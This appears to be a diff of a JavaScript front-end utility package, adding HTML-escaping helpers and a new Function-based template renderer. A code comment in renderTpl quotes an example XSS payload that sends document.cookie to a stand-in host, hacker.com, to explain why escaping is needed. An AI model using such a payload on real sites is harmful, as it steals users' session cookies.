+ "use strict";const getDataType=e=>{let t,r=Object.prototype.toString.call(e).slice(8,-1);return t="Function"===r&&/^\s*class\s+/.test(e.toString())?"Class":"Object"===r&&Object.getPrototypeOf(e)!==Object.prototype?"Instance":r,t},deepClone=(e,t={})=>{const r=getDataType(e),a=Object.assign({cloneSet:!0,cloneMap:!0,cloneObject:!0,cloneArray:!0,cloneDate:!0,cloneRegex:!0},t);if(a.interceptor&&"function"==typeof a.interceptor){let t=a.interceptor({input:e,type:r,parent:a.parent});if(t)return t}a.onBeforeClone?.({input:e,type:r,parent:a.parent});let s,n=!0;if("Object"===r&&a.cloneObject){const t={},r=Object.getOwnPropertySymbols(e);for(const r in e)t[r]=deepClone(e[r],a);if(r.length>0)for(const s of r)t[s]=deepClone(e[s],{...a,parent:e});s=t}else if("Array"===r&&a.cloneArray)s=e.map(t=>deepClone(t,{...a,parent:e}));else if("Map"===r&&a.cloneMap){const t=new Map;for(const[r,s]of e)t.set(deepClone(r,a),deepClone(s,{...a,parent:e}));s=t}else if("Set"===r&&a.cloneSet){const t=new Set;for(const r of e)t.add(deepClone(r,{...a,parent:e}));s=t}else if("Date"===r&&a.cloneDate)s=new Date(e.getTime());else if("RegExp"===r&&a.cloneRegex){const t=e;s=new RegExp(t.source,t.flags)}else s=e,n=!1;return a.onAfterClone?.({output:s,input:e,type:r,cloned:n,parent:a.parent}),s},deepCloneToJSON=e=>{const t=getDataType(e);if("Object"===t){const t={};for(const r in e)t[r]=deepCloneToJSON(e[r]);for(const e in t)void 0===t[e]&&Reflect.deleteProperty(t,e);return t}if("Array"===t){return e.map((e,t)=>deepCloneToJSON(e)).filter(e=>void 0!==e)}return["Number","String","Boolean","Null"].includes(t)?e:void 0},arrayMutableMethods=["push","pop","shift","unshift","splice","sort","reverse","copyWithin","fill"],wrapArrayMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a,props:s={}})=>{if(!Array.isArray(e))throw new TypeError("The 'target' parameter must be an array.");a&&!a?.length||(a=arrayMutableMethods);const n={};for(let o of a)n[o]=function(...a){const n={},l=e.length;switch(o){case"push":case"unshift":n.addedItems=[...a];break;case"pop":n.poppedItem=e[l-1];break;case"shift":n.shiftedItem=e[0];break;case"splice":const[t,r]=a,s=t<0?Math.max(l+t,0):Math.min(t,l),o=void 0===r?l-s:r;n.deletedItems=e.slice(s,s+o);break;case"sort":case"reverse":n.oldSnapshot=[...e];break;case"fill":case"copyWithin":const i=a[1]||0,c=void 0===a[2]?l:a[2];n.oldItems=e.slice(i,c),n.start=i,n.end=c}t?.(n);const i=Array.prototype[o].apply(e,a),c={value:i,key:o,args:a,context:n,target:e,...s};return r?.(c),i};return n},escapeCharsMaps={basic:{"&":"&amp;","<":"&lt;",">":"&gt;"},attribute:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","`":"&#x60;"},content:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","/":"&#x2F;"},uri:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","(":"&#40;",")":"&#41;","[":"&#91;","]":"&#93;"},paranoid:{"&":"&amp;","<":"&lt;",">":"&gt;",'"':"&quot;","'":"&apos;","`":"&#x60;","/":"&#x2F;","=":"&#x3D;","!":"&#x21;","#":"&#x23;","(":"&#40;",")":"&#41;","[":"&#91;","]":"&#93;","{":"&#x7B;","}":"&#x7D;",":":"&#x3A;",";":"&#x3B;"}},escapeRegexMaps=Object.keys(escapeCharsMaps).reduce((e,t)=>{const r=Object.keys(escapeCharsMaps[t]).map(e=>e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&"));return e[t]=new RegExp(`[${r.join("")}]`,"g"),e},{}),escapeHTML=(e,t="attribute")=>{if("string"!=typeof e)return"";const r=escapeCharsMaps[t],a=escapeRegexMaps[t];return e.replace(a,e=>r[e])},getUniqueId=(e={})=>{const t=e.prefix,r=e.suffix,a=e.base10,s=e.base36;return`${t?t+"-":""}${Date.now()}${s?"-"+Math.random().toString(36).substring(2,11):""}${a?"-"+Math.floor(1e4*Math.random()).toString().padStart(4,"0"):""}${r?"-"+r:""}`},requireTypes=(e,t,r)=>{let a=Array.isArray(t)?t:[t],s=getDataType(e),n=s.toLowerCase(),o=a.map(e=>e.toLowerCase()),l=n.includes("html")?"element":n;if(r)try{if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`)}catch(e){r(e,s)}else if(!o.includes(l))throw new TypeError(`Expected data type(s): [${o.join(", ")}], but got: ${l}`);return s},toSingleLine=(e,t=!1)=>{const r=e.replace(/[\r\t\n]/g,"");return t?r.replace(/\s+/g," "):r},renderTpl=(e,t,r={})=>{if(requireTypes(e,"string",e=>""),!e.trim())return"";let a=requireTypes(t,["array","object"],t=>e);if(0===Object.keys(t).length)return e;let s,n=Object.assign({strict:!1,start:"{{",end:"}}",suffix:"/"},r),o=n.start.split("").map(e=>"\\"+e).join(""),l=n.end.split("").map(e=>"\\"+e).join(""),i=new RegExp(`${o}([\\s\\S]+?)?${l}`,"g"),c='"use strict";let str=[];\n',p=0,u="",g=`__esc__${getUniqueId()}`,add=(e,t)=>(t?e.endsWith(n.suffix)?c+=e.slice(0,-n.suffix.length)+"\n":c+=n.escape?`str.push(${g}(String(${e}), "${n.escape}"));\n`:`str.push(${e});\n`:c+=""!==e?'str.push("'+e.replace(/\\/g,"\\\\").replace(/"/g,'\\"').replace(/\n/g,"\\n").replace(/\r/g,"\\r")+'");\n':"",add);for(;s=i.exec(e);)add(e.slice(p,s.index))(s[1],!0),p=s.index+s[0].length;add(e.slice(p)),c+="return str.join('');",c=toSingleLine(c);try{if(n.strict||"Array"===a)u=new Function(g,c).apply(t,[escapeHTML]);else{let e=Object.keys(t),r=Object.values(t);u=new Function(...e,g,c).bind(t)(...r,escapeHTML)}}catch(e){}return u},setMutableMethods=["add","delete","clear"],mapMutableMethods=["set","delete","clear"],wrapSetMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=setMutableMethods,props:s={}})=>{if(!(e instanceof Set))throw new TypeError("The 'target' parameter must be a Set.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"add":{const[t]=n;o.addedItem=t,o.existed=e.has(t);break}case"delete":{const[t]=n;o.existed=e.has(t),o.deletedItem=o.existed?t:void 0;break}case"clear":o.clearedItems=Array.from(e),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)setMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},wrapMapMethods=({target:e,onBeforeMutate:t=()=>{},onAfterMutate:r=()=>{},allowList:a=mapMutableMethods,props:s={}})=>{if(!(e instanceof Map))throw new TypeError("The 'target' parameter must be a Map.");const n={},createWrappedMethod=a=>function(...n){const o={};switch(a){case"set":{const[t,r]=n;o.key=t,o.newValue=r,o.existed=e.has(t),o.oldValue=o.existed?e.get(t):void 0;break}case"delete":{const[t]=n;o.key=t,o.existed=e.has(t),o.value=o.existed?e.get(t):void 0;break}case"clear":o.clearedItems=Array.from(e.entries()),o.previousSize=e.size}t(o);const l=e[a].apply(e,n),i={method:a,result:l,args:n,context:o,target:e,...s};return r(i),l};for(const e of a)mapMutableMethods.includes(e)&&(n[e]=createWrappedMethod(e));return Object.defineProperty(n,"target",{get:()=>e,enumerable:!1,configurable:!1}),n},copyObjectWithSymbol=e=>{if(!e||"object"!=typeof e)return e;const t=e,r=Object.getOwnPropertySymbols(t).reduce((e,r)=>(e[r]=t[r],e),{});return{...t,...r}},shallowCopy=(e,t={})=>{const r=getDataType(e);return"Set"===r?new Set([...e]):"Map"===r?new Map([...e]):Array.isArray(e)?[...e]:"object"===r?copyObjectWithSymbol(e):"Date"===r?new Date(e.getTime()):"RegExp"===r?new RegExp(e.source,e.flags):"Buffer"===r?Buffer.from(e):"ArrayBuffer"===r||ArrayBuffer.isView(e)?e.slice(0):"WeakSet"===r?new WeakSet([...e]):"WeakMap"===r?new WeakMap([...e]):"Error"===r?new Error(e.message):e},deepMerge=(e,t,r={})=>{const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0,useSymbol:!0,nullBehavior:"preserve",undefinedBehavior:"preserve",deepClone:{},onBeforeMerge:void 0,onAfterMerge:void 0},r),smartMerger=(e,t,a)=>{let s,n,o=getDataType(e),l=getDataType(t),i=!0;if(a.interceptor&&"function"==typeof a.interceptor){let r=a.interceptor({target:e,source:t,targetType:o,sourceType:l,parent:a.parent});if(r){if(null===r?.target||null===r?.source)return r;e=r.target,t=r.source}}return a?.onBeforeMerge?.({target:e,source:t,targetType:o,sourceType:l,parent:a.parent}),"Object"===o&&"Object"===l?(n=deepMergeObjects(e,t,a),s="Object"):"Array"===o&&"Array"===l?(n=deepMergeArrays(e,t,a),s="Array"):"Set"===o&&"Set"===l?(n=deepMergeSets(e,t,a),s="Set"):"Map"===o&&"Map"===l?(n=deepMergeMaps(e,t,a),s="Map"):(i=!1,n=e),a?.onAfterMerge?.({result:n,target:e,source:t,targetType:o,sourceType:l,mergeType:s,parent:r.parent}),{result:n,flag:i,mergeType:s}},mergeEnableObject=(e,t)=>e?.hasOwnProperty("enable")&&"boolean"==typeof t?(e.enable=t,e):t?.hasOwnProperty("enable")&&"boolean"==typeof e?Object.assign({enable:e},t):t,deepMergeObjects=(e,t,r={})=>{let a=getDataType(e),s=getDataType(t);if("Object"!==a||"Object"!==s)return e;const n=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r);let o={};o=n.targetClone?shallowCopy(e):e;for(let e in t){const a=o[e],s=t[e];if(t.hasOwnProperty(e)&&o.hasOwnProperty(e)){const t=smartMerger(a,s,{...r,parent:o});if(t.flag)t.mergeType?"Object"===t.mergeType&&(o[e]=t.result):o[e]=s;else{let t=n.useEnable?mergeEnableObject(a,s):s;a!==t&&null===t?"ignore"===n.nullBehavior||("delete"===n.nullBehavior?Reflect.deleteProperty(o,e):o[e]=t):a!==t&&void 0===t?"ignore"===n.undefinedBehavior||("delete"===n.undefinedBehavior?Reflect.deleteProperty(o,e):o[e]=s):o[e]=s}}else t.hasOwnProperty(e)&&!o.hasOwnProperty(e)&&n.inheritMissing&&(o[e]=s)}if(n.useSymbol){let e=Object.getOwnPropertySymbols(t);if(e.length)for(let r of e)o[r]=t[r]}return o},deepMergeArrays=(e,t,r={})=>{if(!Array.isArray(e)||!Array.isArray(t))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1},r),s=a.targetClone?[...e]:e;if("replace"===a.dataMode)for(let e=0;e<t.length&&(a.inheritMissing||!(e>=s.length));e++){smartMerger(s[e],t[e],{...a,parent:s}).flag||(s[e]=t[e])}else"concat"===a.dataMode||(s.length=0),s.push(...t);return s},deepMergeMaps=(e,t,r={})=>{if(!(e instanceof Map&&t instanceof Map))return e;const a=Object.assign({inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Map([...e]):e;for(const[e,n]of t.entries())if(s.has(e)){const t=s.get(e),r=n,o=smartMerger(t,r,a);o.flag?"Object"===o.mergeType&&s.set(e,o.result):s.set(e,r)}else r.inheritMissing&&s.set(e,n);return s},deepMergeSets=(e,t,r={})=>{if(!(e instanceof Set&&t instanceof Set))return e;const a=Object.assign({dataMode:"clear",inheritMissing:!0,targetClone:!1,useEnable:!0},r),s=a.targetClone?new Set(...e):e;if("replace"===a.dataMode){const e=[...s],r=[...t],n=smartMerger(e,r,a);s.clear();for(let e of n.result)s.add(e)}else if("concat"===a.dataMode)for(let e of t)s.add(e);else{s.clear();for(let e of t)s.add(e)}return s};return smartMerger(e,t,a).result},getEl=(e,t=document.body)=>{let r=getDataType(e),a=getDataType(t),s=a.includes("HTML")||"ShadowRoot"===a?t:document.querySelector(t),n=s&&s instanceof HTMLTemplateElement?s.content:s,o=null;if(e)if(r.includes("HTML"))o=e;else if("String"===r)try{o=(n||document).querySelector(e.trim())}catch{o=null}return o},isEmpty=e=>{let t,r=getDataType(e);return t=!e||("Object"===r?0===Object.keys(e).length:"Array"===r?""===e.join(""):"Function"===r?"{}"===e.toString().replace(/\s+/g,"").match(/{.*}/g)[0]:"Symbol"===r?"()"===e.toString().replace(/\s+/g,"").match(/\(.*\)/g)[0]:"Set"===r||"Map"===r?0===e.size:"Date"===r?isNaN(e.getTime()):"RegExp"===r?""===e.source:"ArrayBuffer"===r?0===e.byteLength:"NodeList"===r||"HTMLCollection"===r||"length"in e&&"number"==typeof e.length?0===e.length:"size"in e&&"number"==typeof e.size?0===e.size:"Error"===r||e instanceof Error?""===e.message:!(!r.includes("Array")||!["Uint8Array","Int8Array","Uint16Array","Int16Array","Uint32Array","Int32Array","Float32Array","Float64Array"].includes(r))&&0===e.length),t},getEls=(e,t=document.body)=>{let r=getDataType(e),a=getEl(t),s=a&&a instanceof HTMLTemplateElement?a.content:a||document,n=[];return isEmpty(e)?n:(r.includes("HTML")?n.push(e):"String"===r?n=(e=e.trim()).split(",").map(e=>[...s.querySelectorAll(e)]).flat():"Array"===r&&(n=e.map(e=>getEl(e,a))),n.filter(Boolean))},createEl=(e,t,r)=>{let a=(e=e||"div").toUpperCase().trim(),s=document.createElement(a),n=getDataType(t);if(t&&"Object"===n)for(let e in t)t.hasOwnProperty(e)&&s.setAttribute(e,"string"==typeof t[e]?t[e]:JSON.stringify(t[e]));return((e,t)=>{if(""===t||null==t)return!1;let r=getDataType(t);if("TEMPLATE"===a)e.innerHTML=t.toString();else if("Array"===r&&t.length>0)for(let r of t){if(getDataType(r).includes("HTML"))e.appendChild(r);else{let t=createEl(r.name,r.attrs,r.content);t&&e.appendChild(t)}}else if(r.includes("HTML"))e.appendChild(t);else if("String"===r&&t.trim().startsWith("#")&&t.trim().length>1){let r=getEl(t);if(!r)return;"TEMPLATE"===r.nodeName?e.appendChild(r.content.cloneNode(!0)):e.insertAdjacentHTML("beforeEnd",r.innerHTML)}else e.insertAdjacentHTML("beforeEnd",t)})(s,r),s},getSvgUri=e=>`data:image/svg+xml;utf8,${e.replace(/\n/g,"").replace(/\s+/g," ").trim().replace(/%/g,"%25").replace(/#/g,"%23").replace(/{/g,"%7B").replace(/}/g,"%7D").replace(/</g,"%3C").replace(/>/g,"%3E")}`,fileToBase64=e=>new Promise((t,r)=>{const a=new FileReader;a.onload=()=>{"string"==typeof a.result?t(a.result):r(new Error("FileReader result is not a string"))},a.onerror=()=>{r(a.error||new Error("Unknown error occurred during file reading"))},a.readAsDataURL(e)}),NAMESPACE="ax",ALIAS="rep",COMMA=",",SPACE=" ",trim=(e,t="compress")=>{if("string"!=typeof e)return"";switch(t){case"start":return e.trimStart();case"end":return e.trimEnd();case"both":return e.trim();case"global":return e.replace(/[\s\r\n]+/g,"");default:return e.trim().replace(/[\s\r\n]+/g," ")}},parseClasses=e=>{let t,r=[];return Array.isArray(e)?r=e.filter(e=>e&&"string"==typeof e):(t=(e=trim(e)).includes(",")?",":" ",r=e.split(t)),r.map(e=>trim(e,"global")).filter(Boolean)},addClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.add(e):"string"==typeof t&&t&&a.classList.add(t)):a.classList.add(e)})},createTools=e=>{const t=createEl("span",{class:"ax-box-tools"}),renderFn=e=>{const t={},r=e.extendable?'<i rep="arrow"></i>':"",a=(e.icon?`<i rep="icon">${e.icon}</i>`:"")+(e.disk?`<i rep="disk"><img src="${e.disk}"/></i>`:"")+(e.cube?`<i rep="cube"><img src="${e.cube}"/></i>`:"")+(e.image?`<i rep="image"><img src="${e.image}"/></i>`:"")+(e.label?`<i rep="label">${e.label}</i>`:"")+r;e.title&&(t.title=e.title),e.focusable&&(t.tabindex=1),e.wrapEl=createEl(e.nodeName||"span",Object.assign(t,e.attrs),a),e.iconEl=e.wrapEl.querySelector('[rep="icon"]'),e.cubeEl=e.wrapEl.querySelector('[rep="cube"]'),e.diskEl=e.wrapEl.querySelector('[rep="disk"]'),e.imageEl=e.wrapEl.querySelector('[rep="image"]'),e.labelEl=e.wrapEl.querySelector('[rep="label"]'),!isEmpty(e.classes)&&addClasses(e.wrapEl,e.classes),!isEmpty(e.styles)&&(e.wrapEl.style.cssText+=e.styles)};for(let r of e)renderFn(r),t.appendChild(r.wrapEl),r?.action?.(r);return t},getClasses=e=>{let t=getEl(e);return t?parseClasses(t.getAttribute("class")||""):[]},removeClasses=(e,t,r)=>{const a=getEl(e),s=parseClasses(t);a&&0!==s.length&&s.forEach(e=>{let t;r?(t=r(e),!0===t?a.classList.remove(e):"string"==typeof t&&t&&a.classList.remove(t)):a.classList.remove(e)})},typeWriter=(e,t)=>{const r=t.speed||100;return new Promise(a=>{t?.onBeforeType?.(e);let s=0;const n=setInterval(()=>{if(s<e.length){const r=e.charAt(s),a=e.substring(0,s+1);t?.onDuringType?.(r,a),s++}else clearInterval(n),a(e),t?.onAfterType?.(e)},r)})},parseLLMStream=async(e,t)=>{if(!(e&&e instanceof ReadableStream))throw new Error("Invalid input: ReadableStream is missing or not an instance of ReadableStream.");const r=e.getReader(),a=new TextDecoder("utf-8");let s="";const n={fullText:"",finishReason:null,usage:null,isCompleted:!1};try{for(;;){const{done:e,value:o}=await r.read();if(e)break;s+=a.decode(o,{stream:!0});let l=s.split("\n");s=l.pop()||"";for(const e of l){const r=e.trim();if(!r||!r.startsWith("data: "))continue;const a=r.substring(6);if("[DONE]"!==a)try{const e=JSON.parse(a),r=e.choices?.[0],s=r?.delta?.content||"";s&&(n.fullText+=s,t?.(s)),r?.finish_reason&&(n.finishReason=r.finish_reason),e.usage&&(n.usage=e.usage)}catch(e){}else n.isCompleted=!0}}}catch(e){throw e}return n},toKebabCase=(e,t="",r="")=>`${t}${e.replace(/([A-Z])/g,"-$1").toLowerCase()}${r}`,trimEmptyLines=e=>null==e?"":e.replace(/^\s*\n|\n\s*$/g,"")||"",decodeHtmlEntities=e=>{if(!e)return"";const t=document.createElement("textarea");return t.innerHTML=e,t.value},utils={getDataType:getDataType,requireTypes:requireTypes,deepClone:deepClone,deepCloneToJSON:deepCloneToJSON,wrapArrayMethods:wrapArrayMethods,arrayMutableMethods:arrayMutableMethods,setMutableMethods:setMutableMethods,mapMutableMethods:mapMutableMethods,wrapSetMethods:wrapSetMethods,wrapMapMethods:wrapMapMethods,getUniqueId:getUniqueId,deepMerge:deepMerge,shallowCopy:shallowCopy,copyObjectWithSymbol:copyObjectWithSymbol,getEl:getEl,getEls:getEls,createEl:createEl,getSvgUri:getSvgUri,fileToBase64:fileToBase64,NAMESPACE:"ax",ALIAS:"rep",COMMA:",",SPACE:" ",trim:trim,parseClasses:parseClasses,getClasses:getClasses,addClasses:addClasses,removeClasses:removeClasses,createTools:createTools,typeWriter:typeWriter,parseLLMStream:parseLLMStream,toKebabCase:toKebabCase,trimEmptyLines:trimEmptyLines,decodeHtmlEntities:decodeHtmlEntities,escapeCharsMaps:escapeCharsMaps,escapeRegexMaps:escapeRegexMaps,escapeHTML:escapeHTML,toSingleLine:toSingleLine,renderTpl:renderTpl};module.exports=utils;
package/dist/utils.esm.js CHANGED
@@ -1,8 +1,8 @@
1
1
 
2
2
  /*!
3
- * @since Last modified: 2026-1-15 18:58:28
3
+ * @since Last modified: 2026-1-16 15:18:30
4
4
  * @name Utils for web front-end.
5
- * @version 0.0.36
5
+ * @version 0.0.38
6
6
  * @author AXUI development team <3217728223@qq.com>
7
7
  * @description This is a set of general-purpose JavaScript utility functions developed by the AXUI team. All functions are pure and do not involve CSS or other third-party libraries. They are suitable for any web front-end environment.
8
8
  * @see {@link https://www.axui.cn|Official website}
@@ -238,6 +238,102 @@ const wrapArrayMethods = ({ target, onBeforeMutate = () => { }, onAfterMutate =
238
238
  return methods;
239
239
  };
240
240
 
241
+ const escapeCharsMaps = {
242
+ //code或pre标签中代码高亮是使用basic
243
+ basic: {
244
+ '&': '&amp;',
245
+ '<': '&lt;',
246
+ '>': '&gt;',
247
+ },
248
+ //需要用在标签属性上attribute
249
+ attribute: {
250
+ '&': '&amp;',
251
+ '<': '&lt;',
252
+ '>': '&gt;',
253
+ '"': '&quot;',
254
+ "'": '&apos;',
255
+ '`': '&#x60;',
256
+ },
257
+ //html中的正文内容使用content
258
+ content: {
259
+ '&': '&amp;',
260
+ '<': '&lt;',
261
+ '>': '&gt;',
262
+ '"': '&quot;',
263
+ "'": '&apos;',
264
+ '/': '&#x2F;',
265
+ },
266
+ //用于url链接则使用uri
267
+ uri: {
268
+ '&': '&amp;',
269
+ '<': '&lt;',
270
+ '>': '&gt;',
271
+ '"': '&quot;',
272
+ "'": '&apos;',
273
+ '(': '&#40;',
274
+ ')': '&#41;',
275
+ '[': '&#91;',
276
+ ']': '&#93;',
277
+ },
278
+ //极致转意,避免任何注入或非法代码
279
+ paranoid: {
280
+ '&': '&amp;',
281
+ '<': '&lt;',
282
+ '>': '&gt;',
283
+ '"': '&quot;',
284
+ "'": '&apos;',
285
+ '`': '&#x60;',
286
+ '/': '&#x2F;',
287
+ '=': '&#x3D;',
288
+ '!': '&#x21;',
289
+ '#': '&#x23;',
290
+ '(': '&#40;',
291
+ ')': '&#41;',
292
+ '[': '&#91;',
293
+ ']': '&#93;',
294
+ '{': '&#x7B;',
295
+ '}': '&#x7D;',
296
+ ':': '&#x3A;',
297
+ ';': '&#x3B;',
298
+ },
299
+ };
300
+
301
+ const escapeRegexMaps = (Object.keys(escapeCharsMaps)).reduce((acc, key) => {
302
+ const chars = Object.keys(escapeCharsMaps[key]);
303
+ // Escape special regex characters to avoid issues in the regex. [ => \[
304
+ const escapedChars = chars.map((c) => c.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'));
305
+ acc[key] = new RegExp(`[${escapedChars.join('')}]`, 'g');
306
+ return acc;
307
+ }, {});
308
+
309
+ const escapeHTML = (str, strength = 'attribute') => {
310
+ // Return empty string if input is null, undefined, or not a string
311
+ if (typeof str !== 'string')
312
+ return '';
313
+ const map = escapeCharsMaps[strength], regex = escapeRegexMaps[strength];
314
+ // Use String.prototype.replace with a global regex.
315
+ // The callback function retrieves the replacement from the map using the matched character as key.
316
+ return str.replace(regex, (match) => map[match]);
317
+ };
318
+
319
+ const getUniqueId = (options = {}) => {
320
+ const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
321
+ // Current timestamp in milliseconds (since Unix epoch)
322
+ // This provides the primary uniqueness guarantee
323
+ const timestamp = Date.now(),
324
+ // Generate a base-36 random string (0-9, a-z)
325
+ // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
326
+ // substring(2, 11) extracts 9 characters starting from index 2
327
+ //0.259854635->0.9crs03e8v2
328
+ base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
329
+ // Additional 4-digit random number for extra randomness
330
+ // This helps avoid collisions in high-frequency generation scenarios
331
+ base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
332
+ // Construct the final ID string
333
+ // Format: [prefix_]timestamp_randomBase36_extraRandom
334
+ return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
335
+ };
336
+
241
337
  const requireTypes = (data, require, cb) => {
242
338
  // Normalize the input types (convert to array if it's a single type)
243
339
  let requiredTypes = Array.isArray(require) ? require : [require], dataType = getDataType(data), typeLower = dataType.toLowerCase(),
@@ -265,22 +361,83 @@ const requireTypes = (data, require, cb) => {
265
361
  return dataType;
266
362
  };
267
363
 
268
- const getUniqueId = (options = {}) => {
269
- const prefix = options.prefix, suffix = options.suffix, base10 = options.base10, base36 = options.base36;
270
- // Current timestamp in milliseconds (since Unix epoch)
271
- // This provides the primary uniqueness guarantee
272
- const timestamp = Date.now(),
273
- // Generate a base-36 random string (0-9, a-z)
274
- // Math.random() returns a number in [0, 1), converting to base-36 gives a compact representation
275
- // substring(2, 11) extracts 9 characters starting from index 2
276
- //0.259854635->0.9crs03e8v2
277
- base36Random = base36 ? '-' + Math.random().toString(36).substring(2, 11) : '',
278
- // Additional 4-digit random number for extra randomness
279
- // This helps avoid collisions in high-frequency generation scenarios
280
- base10Random = base10 ? '-' + Math.floor(Math.random() * 10000).toString().padStart(4, '0') : '', prefixString = prefix ? prefix + '-' : '', suffixString = suffix ? '-' + suffix : '';
281
- // Construct the final ID string
282
- // Format: [prefix_]timestamp_randomBase36_extraRandom
283
- return `${prefixString}${timestamp}${base36Random}${base10Random}${suffixString}`;
364
+ const toSingleLine = (str, collapseSpaces = false) => {
365
+ const result = str.replace(/[\r\t\n]/g, '');
366
+ return collapseSpaces ? result.replace(/\s+/g, ' ') : result;
367
+ };
368
+
369
+ const renderTpl = (html, data, options = {}) => {
370
+ requireTypes(html, 'string', (error) => {
371
+ //不符合要求的类型
372
+ console.error(error);
373
+ return '';
374
+ });
375
+ if (!html.trim())
376
+ return '';
377
+ let dataType = requireTypes(data, ['array', 'object'], (error) => {
378
+ //不符合要求的类型
379
+ console.error(error);
380
+ return html;
381
+ });
382
+ //data={}/[]
383
+ if (Object.keys(data).length === 0) {
384
+ console.warn('Data is empty ({}/[]), no rendering performed, original text outputted.');
385
+ return html;
386
+ }
387
+ let opts = Object.assign({ strict: false, start: '{{', end: '}}', suffix: '/' }, options),
388
+ //regStart='\\{\\{'
389
+ regStart = opts.start.split('').map(k => '\\' + k).join(''),
390
+ //regEnd='\\}\\}'
391
+ regEnd = opts.end.split('').map(k => '\\' + k).join(''), tplReg = new RegExp(`${regStart}([\\s\\S]+?)?${regEnd}`, 'g'), code = '"use strict";let str=[];\n', cursor = 0, match, result = '',
392
+ //代替escapeHTML的方法,在字符串内部的映射,确保不会重名
393
+ escapeName = `__esc__${getUniqueId()}`, add = (fragment, isScript) => {
394
+ if (isScript) {
395
+ //处理语句类(如 {{ if(x) /}} )
396
+ if (fragment.endsWith(opts.suffix)) {
397
+ code += (fragment.slice(0, -opts.suffix.length) + '\n');
398
+ }
399
+ else {
400
+ //处理表达式类(如 {{ name }} )
401
+ //需要避免{ name: '<script>fetch("http://hacker.com?cookie=" + document.cookie)</script>' }这种情况
402
+ //虽然new Function不会执行,但是也需要将其当做纯文本输出,避免renderTpl输出的文本自带风险,此时则需要转意,确保renderTpl的返回值是安全的纯文本
403
+ code += (opts.escape ? `str.push(${escapeName}(String(${fragment}), "${opts.escape}"));\n` : `str.push(${fragment});\n`);
404
+ }
405
+ }
406
+ else {
407
+ //fragment可能自带单引号或双引号,需要转意,避免与push("xxx")语句冲突
408
+ //js语句不能直接文本换行,所以也需要转意换行符
409
+ //换行转意的另外一个意义是,保持原文本的换行,因为在toSingleLine中会删除所有物理换行以确保代码可被执行
410
+ code += (fragment !== '' ? 'str.push("' + fragment.replace(/\\/g, '\\\\').replace(/"/g, '\\"').replace(/\n/g, '\\n').replace(/\r/g, '\\r') + '");\n' : '');
411
+ }
412
+ return add;
413
+ };
414
+ while (match = tplReg.exec(html)) {
415
+ add(html.slice(cursor, match.index))(match[1], true);
416
+ cursor = match.index + match[0].length;
417
+ }
418
+ add(html.slice(cursor));
419
+ code += `return str.join('');`;
420
+ //一行行化代码
421
+ //如果文本"XXX (换行)",js执行会报错,所以需要清理换行
422
+ code = toSingleLine(code);
423
+ try {
424
+ if (opts.strict || dataType === 'Array') {
425
+ //严格模式,或者是数组数据,则必须使用this
426
+ result = new Function(escapeName, code).apply(data, [escapeHTML]);
427
+ }
428
+ else {
429
+ ////非严格模式,且是对象,则可省略this
430
+ let keys = Object.keys(data), values = Object.values(data),
431
+ //keys传参,可直接以key为值,this依然可指向data
432
+ tmp = new Function(...keys, escapeName, code).bind(data);
433
+ //执行时以value赋值
434
+ result = tmp(...values, escapeHTML);
435
+ }
436
+ }
437
+ catch (err) {
438
+ console.error(`'${err.message}'`, ' in \n', code, '\n');
439
+ }
440
+ return result;
284
441
  };
285
442
 
286
443
  const setMutableMethods = ['add', 'delete', 'clear'];
@@ -1171,19 +1328,6 @@ const trimEmptyLines = (str) => {
1171
1328
  return str.replace(/^\s*\n|\n\s*$/g, '') || '';
1172
1329
  };
1173
1330
 
1174
- const escapeHtmlChars = (text) => {
1175
- // Check if the input text is empty or undefined
1176
- if (!text)
1177
- return '';
1178
- // Replace the special characters with their corresponding HTML entities
1179
- return text
1180
- .replace(/&/g, '&amp;') // Replace '&' with '&amp;'
1181
- .replace(/</g, '&lt;') // Replace '<' with '&lt;'
1182
- .replace(/>/g, '&gt;') // Replace '>' with '&gt;'
1183
- .replace(/"/g, '&quot;') // Replace '"' with '&quot;'
1184
- .replace(/'/g, '&#39;'); // Replace "'" with '&#39;'
1185
- };
1186
-
1187
1331
  const decodeHtmlEntities = (text) => {
1188
1332
  // Check if the input text is empty or undefined
1189
1333
  if (!text)
@@ -1231,8 +1375,12 @@ const utils = {
1231
1375
  parseLLMStream,
1232
1376
  toKebabCase,
1233
1377
  trimEmptyLines,
1234
- escapeHtmlChars,
1235
1378
  decodeHtmlEntities,
1379
+ escapeCharsMaps,
1380
+ escapeRegexMaps,
1381
+ escapeHTML,
1382
+ toSingleLine,
1383
+ renderTpl,
1236
1384
  };
1237
1385
 
1238
1386
  export { utils as default };